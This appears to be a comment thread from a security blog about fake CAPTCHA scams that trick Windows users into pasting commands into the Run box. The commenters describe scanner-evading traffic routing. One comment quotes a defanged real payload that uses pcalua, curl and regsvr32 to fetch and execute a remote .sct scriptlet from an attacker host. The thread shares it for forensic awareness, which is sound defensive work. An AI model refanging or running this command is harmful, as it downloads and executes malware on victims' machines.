Fake CAPTCHA Scams

Q • September 16, 2026 8:16 AM

I’ve never seen the fake CAPTCHA yet. but I wonder if the code is clever enough to sniff the user agent and only offer it to Windows users?

Since I use Linux, and I don’t fake the user agent string, perhaps I won’t ever see one of these things. When I press the required Win+R I see the application finder, not a box to run commands.

Daniel Jones • September 16, 2026 8:30 AM

I recently came across one in an investigation and yes it did run an active TDS that fingerprinted users device and network information and then actively routed to different payloads to different devices. Datacenter based IP’s were nearly always served a clean benign page which most of todays URL scanners use datacenter based IP’s. However if the user was on a residential or mobile IP, they’re served the actual payload. If the TDS fingerprinted as an bot/scanner it would send you to a monetization domain.

I just published the full article and whitepaper on this investigation, A real Carnival Cruise Line email was serving customers malware, you’ll actually see some screenshots of your fake CAPTCHA on it.

_Jim • September 16, 2026 8:49 AM

Experienced this little script (below) as part of a captcha on a well-known website in the form of a pop-up that requested the “Windows Key + R etc” routine be performed.

This was what was to be ‘pasted’ and executed (can I post this here for forensic purposes?)

pcalua[dot]exe -a cmd -c “/c curl[dot]exe -s https://193-233-126-53 [dot] sslip [dot] io/d3f8a142c9/verification[dot]sct -o %TEMP%\v[dot]sct&&regsvr32 /s /n /u /i:%TEMP%\v[dot]sct scrobj[dot]dll”

‘[dot]’ or ‘ [dot] ‘ replaces “.”